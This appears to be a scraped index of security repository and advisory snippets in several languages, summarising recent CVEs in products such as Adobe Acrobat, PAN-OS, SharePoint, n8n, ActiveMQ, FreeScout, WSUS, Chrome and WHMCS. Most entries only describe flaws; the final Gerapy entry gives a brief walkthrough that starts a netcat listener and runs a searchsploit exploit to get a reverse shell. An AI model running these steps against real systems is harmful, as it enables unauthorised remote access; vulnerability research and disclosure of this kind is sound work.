cve_2026_34621_advanced

Generador Avanzado de Exploits CVE-2026-34621 Un generador de exploits sofisticado y multiplataforma para CVE-2026-34621 – una vulnerabilidad crítica de contaminación de prototipos en Adobe Acrobat y Reader que permite el escape del sandbox y la ejecución arbitraria de código en Windows y macOS. ...

CVE-2026-0300-POC

🛡️ CVE-2026-0300：PAN-OS User-ID™ 门户远程代码执行分析 研究概念验证：CWE-787 越界写入 📌 概述 CVE-2026-0300 是在 Palo Alto Networks PAN-OS User-ID™ 身份验证门户（强制门户）中发现的一个高危缓冲区溢出漏洞。本研究仓库演示了该漏洞的技术逻辑，重点说明未认证的网络数据包如何导致以 root 权限执行远程代码执行（RCE） 。 📊 漏洞详情 特性| 详情 ---|--- CVE 编号| CVE-2026-0300 严重性评分| 9.3（严重） 弱点类型| CWE-787：越界写入 攻击向量| 网络（未认证...

SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis

SharePoint ToolShell CVE-2025-53770 インシデント分析 概要 このプロジェクトは、SharePoint サーバーを標的とした ToolShell 脆弱性 CVE-2025-53770 を利用した実際の攻撃試行の調査を文書化したものです。 この攻撃は、リモートコード実行、ウェブシェルの展開、認証情報データの抽出を含む完全な攻撃チェーンを示しています。 初期アクセス 攻撃は、SharePoint サーバーを標的とした CVE-2025-53770 の悪用を示す不審なアラートから始まりました。 悪用リクエスト 認証されていない HTTP POST...

CVE-2026-22812

🔐 CVE-2026-22812 - OpenCode の認証なし HTTP サーバー → リモートコード実行（RCE） CVE-2026-22812 に関するセキュリティアドバイザリ、技術分析、検出の手引き、および緩和策のメモ 📌 概要 CVE-2026-22812 は、1.0.216 より前のバージョンの OpenCode に影響する高深刻度のリモートコード実行（RCE） の脆弱性です。 この問題は、OpenCode が自動的に認証なしのローカル HTTP サーバー を起動し、以下の手段でアクセスできることに起因します。 ローカルの悪意のあるプロセス 寛容な CORS...

CVE-2026-21858

🚨 CVE-2026-21858 — "Ni8mare" オープンソースのワークフロー自動化プラットフォームにおける、重大な未認証リモートコード実行の脆弱性です。 📖 目次 概要 技術詳細 重大度 & CVSS 影響を受けるバージョン 影響 悪用 検出 修復 緩和策 まとめ 🔎 概要 CVE-2026-21858 は、通称「Ni8mare」として知られる、n8n — API呼び出し、統合、SaaSコネクタの自動化などの自動化ワークフローを構築するための人気プラットフォーム — で発見された重大な脆弱性です。 この脆弱性により、未認証のリモート攻撃者...

CVE-2026-34197

🚨 CVE-2026-34197 — Apache ActiveMQ における重大な Jolokia RCE Jolokia MBeans 経由の認証済み RCE → リモート Spring XML → JVM コード実行 📖 概要 CVE-2026-34197 は、Apache ActiveMQ Classic に影響を与える 高深刻度の認証済みリモートコード実行脆弱性 です。 この問題は、以下のように公開されている Jolokia JMX-HTTP ブリッジ に存在します。 root@kitploit: /api/jolokia/ 認証済み攻撃者は、以下のような危険な MBean...

CVE-2026-22241

🚨 CVE-2026-22241 - Open eClass テーマインポート リモートコード実行 📌 脆弱性の概要 Open eClass （GUnet eClass としても知られる）は、広く使用されているオープンソースの学習管理システム（LMS）であり、そのテーマインポート 機能に深刻な無制限ファイルアップロード の脆弱性が存在します。 認証された管理者が悪意のある ZIP ファイルをアップロードすることで、サーバー上でリモートコード実行（RCE）が可能になります。 ⚠️ 影響を受けるバージョン バージョン| ステータス ---|--- Open eClass 4.2| 脆弱 Ope...

CVE-2026-28289

🚨 CVE-2026-28289 — “Mail2Shell” メール添付ファイルのバイパスによる FreeScout のゼロクリック未認証 RCE 📖 概要 CVE-2026-28289 （通称 Mail2Shell ）は、FreeScout に影響を及ぼす重大なゼロクリックのリモートコード実行 RCE 脆弱性です。 攻撃者は、特別に細工したメールを FreeScout のメールボックスに送信するだけで、認証もユーザーの操作も一切なしに、基盤となるサーバーへのリモートシェルアクセス を獲得できます。 🧠 脆弱性の概要 ⚙️ 技術詳細 📨 ステップ 1 — 悪意のあるメールの配信...

CVE-2026-35616

🚨 CVE-2026-35616 - FortiClient EMS 認証バイパス 🚨 不適切なアクセス制御 | 事前認証 API バイパス 実環境で悪用 — 2026年4月 📋 概要 CVE-2026-35616 は、FortiClient Enterprise Management Server EMS バージョン 7.4.5 から 7.4.6 における重大な脆弱性です。 認証されていないリモート攻撃者が特別に細工したリクエストを送信することで、認証および認可のチェックをバイパスし、不正なコード実行やサーバー全体の侵害につながる可能性があります。 Fortinet アドバイザリ :...

cve-2025-59287-exploit-poc

CVE-2025-59287 概念验证漏洞利用 漏洞概述 CVE-2025-59287 是 Microsoft Windows Server Update Services WSUS 中的一个严重远程代码执行 RCE 漏洞。该漏洞是由于 EncryptionHelper.DecryptData 方法中通过 BinaryFormatter 对 AuthorizationCookie 数据进行不安全反序列化所致。 影响 ：未认证攻击者可通过向 GetCookie 端点发送恶意加密 Cookie，以 SYSTEM 权限 实现远程代码执行。 CVSS 评分 ：严重（9.8） 漏洞详情 受影响组件...

CVE-2024-31666

漏洞概述 Flusity-CMS v.2.33 中存在一个漏洞，允许远程攻击者通过精心构造的脚本在 editaddonpost.php 组件中执行任意代码。 影响版本 Flusity-CMS v.2.33 漏洞细节 攻击者可以通过向 editaddonpost.php 组件发送精心构造的脚本来利用该漏洞，从而在目标服务器上执行任意代码。 影响 此漏洞可能会导致攻击者在服务器上执行任意代码，从而可能控制整个服务器。 发现者：胡诗雅...

PT-2026-85205

Missing authorization vulnerability has been discovered in 2Checkout payment gateway of WHMCS from 8.13.0 before 8.13.8, from 9.0.0 before 9.0.8, all other EOL versions from 4.5.0. The vulnerability allows an unauthenticated user to get WHMCS customer's data via 2Checkout payment gateway's endpoi...

PT-2026-85238

Name of the Vulnerable Software and Affected Versions Google Chrome versions prior to 152.0.7977.82 Description A use after free issue in Skia allows a remote attacker to execute arbitrary code within the sandbox by inducing the user to open a specially crafted HTML page. Use after free is a memo...

PT-2026-85206

A critical WHMCS security update fixes CVE-2026-67399 and CVE-2026-67398. Apply the patch now to prevent remote code execution and data leaks. WHMCS CyberSecurity CVE202667399 CVE202667398 InfoSec https://t.co/LuCYwv3icN https://t.co/BNvTvGIUBc...

PT-2026-85266

Name of the Vulnerable Software and Affected Versions TP-Link Archer AX55 v4 versions prior to 1.2.1 Build 20260527 Description A stack-based buffer overflow exists in the EasyMesh module. When Mesh mode is enabled, a LAN attacker can submit crafted input to the EasyMesh daemon, which may cause t...

PT-2026-85033

Name of the Vulnerable Software and Affected Versions Plesk versions 18.0.79.9 and earlier Plesk versions 18.0.80 through 18.0.80.5 Description A path traversal issue allows local users to execute arbitrary code with root privileges. Path traversal is a flaw that allows an attacker to access file...

PT-2026-85247

Name of the Vulnerable Software and Affected Versions toml-node versions prior to 4.1.2 Description the toml.parse function in lib/compiler.js allows an attacker to write arbitrary keys onto Object.prototype by routing a table path through a scalar value. This occurs because the deepRef function...

PT-2026-85235

Name of the Vulnerable Software and Affected Versions Google Chrome versions prior to 152.0.7977.82 Description A type confusion flaw exists in V8, the open-source JavaScript and WebAssembly engine used by Google Chrome. This issue allows a remote attacker to execute arbitrary code within the...

CVE-2025-69604

CVE-2025-69604 説明 この脆弱性は、CVE-2025-61229で説明されているものと類似しています。攻撃者はタスクテンプレートを編集して、SuperDuperのバックアップタスクに任意のパッケージをインストールさせることができます。その後、パッケージはルートユーザーとして、最高レベルのプライバシーアクセス（フルディスクアクセス）でシェルスクリプトを実行できます。 参考文献 SuperDuper Security Update v3.12 CVE-2025-69604 CVSS 3.1 スコア: NVD スコアは保留中です。 緩和策...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 ポータルに管理者としてログイン 新しいプロジェクトを追加 sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 シェルを楽しむ...